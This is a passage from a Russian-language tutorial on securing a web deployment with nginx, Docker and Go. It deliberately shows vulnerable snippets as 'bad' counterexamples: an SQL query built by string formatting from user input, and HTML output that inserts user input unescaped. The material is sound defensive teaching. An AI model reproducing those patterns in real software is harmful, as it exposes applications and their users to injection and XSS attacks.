    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 1d;

    # Лимиты
    client_max_body_size 1m;
    client_body_timeout 10s;
    client_header_timeout 10s;

    # Скрываем версию Nginx (меньше информации для атакующего)
    server_tokens off;

    # Security-заголовки
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    location / {
        limit_req zone=mylimit burst=20 nodelay;
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_read_timeout 30s;
        proxy_send_timeout 30s;
    }

    # Запрещаем доступ к скрытым файлам (.git, .env)
    location ~ /\. {
        deny all;
        return 404;
    }
}

Разберём ключевые строки:

Строка

Зачем она нужна

return 301 https://…

весь HTTP-трафик принудительно перенаправляется на шифрованный HTTPS

limit_req_zone / limit_req

защита от наплыва запросов и простейших DDoS

proxy_pass http://127.0.0.1:8080

перенаправляет запросы вашему приложению на локальном порту

Strict-Transport-Security

браузер запоминает, что сайт только по HTTPS

location ~ /.

закрывает доступ к .git, .env и другим скрытым файлам

Активируем конфиг и проверяем синтаксис:

sudo ln -sf /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
sudo rm -f /etc/nginx/sites-enabled/default
sudo nginx -t
sudo systemctl reload nginx

Выпускаем бесплатный SSL-сертификат от Let’s Encrypt через certbot — он сам пропишет пути к сертификатам в конфиг Nginx:

sudo apt install -y certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.com

Типичные ошибки с Nginx:

  • Забыли выполнить nginx -t перед перезагрузкой и выкатите сломанный конфиг, сайт ляжет.

  • Не убрали стандартный конфиг default. Он перехватывает запросы.

  • Не открыли порты 80 и 443 в файрволе. Certbot не сможет подтвердить домен.

Слой 3. Docker

Контейнер нужен, чтобы приложение работало в изоляции и, даже если его взломают, атакующий остался внутри коробки, а не получил весь сервер. Разберём Dockerfile для Go-приложения:

# Стадия 1: сборка
FROM golang:1.26-alpine AS builder
WORKDIR /src
COPY go.mod go.sum* ./
RUN go mod download
COPY . .

# CGO_ENABLED=0 — статичный бинарный файл без зависимостей от libc
# -trimpath — убирает локальные пути из бинарного файла (защита от утечки структуры проекта)
# -ldflags="-s -w" — убирает отладочную информацию, бинарный файл меньше
RUN CGO_ENABLED=0 GOOS=linux go build \
    -trimpath \
    -ldflags="-s -w" \
    -o /out/app ./...

# Стадия 2: рантайм
# distroless — нет shell, нет coreutils, нет apt
# Даже если случится RCE, атакующему буквально нечего запустить
FROM gcr.io/distroless/static-debian12:nonroot
WORKDIR /app
COPY --from=builder /out/app /app/app
# UID встроенного пользователя nonroot = 65532
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/app/app"]

Разберём строки:

Строка

Что делает

Две стадии (builder и рантайм)

в итоговый образ попадает только готовый бинарник, без исходников и компилятора

CGO_ENABLED=0

статичный бинарник, который работает без системных библиотек

distroless

образ без shell и утилит — атакующему нечего запускать внутри

USER nonroot

приложение работает не от root

Запускаем контейнер с ограничениями:

docker run -d \
  --name myapp \
  --restart unless-stopped \
  -p 127.0.0.1:8080:8080 \
  -v /opt/myapp/data:/app/data \
  --read-only \
  --tmpfs /tmp \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --memory=256m \
  --cpus=0.5 \
  myapp:latest

Разберём флаги:

Флаг

Зачем

-p 127.0.0.1:8080:8080

порт виден только локально (через Nginx), а не всему интернету

–read-only

файловая система контейнера только для чтения

–cap-drop=ALL

снимаем все привилегии ядра

–memory / --cpus

лимиты ресурсов, чтобы один контейнер не съел весь сервер

Типичная ошибка с Docker это запуск контейнер от root и без ограничений. Следовательно взлом приложения равен взлому сервера. Еще можно опубликовать на порту 0.0.0.0 вместо 127.0.0.1, и где торчит в интернет в обход Nginx. Есть и менее критичные ситуации, как использование тега latest с потерей контроля над версиями. Версию образа лучше зафиксировать.

Слой 4. Безопасный код на Go

Все предыдущие слои не помогут, если само приложение написано небрежно. Разберём шесть правил, которые закрывают большинство типовых дыр.

Правило №1. SQL-инъекции — всегда используйте плейсхолдеры. Никогда не склеивайте SQL-запрос со строкой, пришедшей от пользователя.

Плохо (уязвимо):

query := r.URL.Query().Get("q")
sqlQuery := fmt.Sprintf("SELECT * FROM users WHERE name LIKE '%%%s%%'", query)
rows, _ := db.Query(sqlQuery)

Хорошо (безопасно):

rows, err := db.QueryContext(ctx,
    "SELECT id, name, email FROM users WHERE name LIKE ? LIMIT 50",
    "%"+query+"%")

Представьте, что вы пишете бланк с пустым полем (плейсхолдер ?). База сначала видит структуру запроса, а потом аккуратно вставляет ваше значение именно как данные, а не как часть команды. Чтобы ни ввёл пользователь, это останется просто текстом для поиска.

Правило №2. XSS - экранируйте вывод. Если вы показываете на странице текст, который ввёл пользователь, нельзя просто вставлять его в HTML. Иначе кто-то пришлёт <script> и выполнит свой код в браузерах других посетителей.

Опасный подход - ручная склейка HTML со строкой, на любом языке:

  • Go: fmt.Fprintf(w, "<div>%s</div>", userInput)

  • JS: el.innerHTML = userInput

  • Python: f"<div>{user_input}</div>"

  • PHP: echo "<div>$userInput</div>"

Безопасный подход - использовать шаблонизатор, который сам экранирует опасные символы. В Go это пакет html/template:

const tpl = `<div>
  <b>{{.Author}}</b>: {{.Text}}
</div>`

t := template.Must(template.New("fb").Parse(tpl))
t.Execute(w, feedback)

Не используйте для HTML пакет text/template. Он не экранирует вывод и не защищает от XSS. Только html/template.

Правило №3. Security-заголовки. Добавляйте заголовки (X-Content-Type-Options, X-Frame-Options и др.) на уровне Nginx или самого приложения. Они подсказывают браузеру, как себя вести, и закрывают целый класс атак.

Правило №4. Таймауты. Всегда выставляйте таймауты на чтение и запись у веб-сервера. Без них одно медленное соединение может висеть вечно и исчерпать ресурсы сервера.

Правило №5. Не показывайте ошибки пользователю. Полный текст ошибки (со стеком и путями) пишите только в лог. Пользователю показывайте нейтральное «Что-то пошло не так». Иначе вы сами подскажете атакующему версии библиотек и структуру проекта.

Правило №6. Ограничивайте размер входящих данных. Задавайте лимит на размер тела запроса (и на Nginx, и в приложении). Иначе кто-то загрузит файл на несколько гигабайт и забьёт диск или память.

Мы прошли путь от первых команд в терминале до полноценного защищённого сайта и телеграм-бота.

Для автоматизации этих процессов можно использовать CI/CD-пайплайны, настроить собственный VPS. Главное, выстроить процесс так, чтобы вы могли сосредоточиться на логике приложения. Пишите безопасный код, делайте git push и пусть автоматика работает на вас!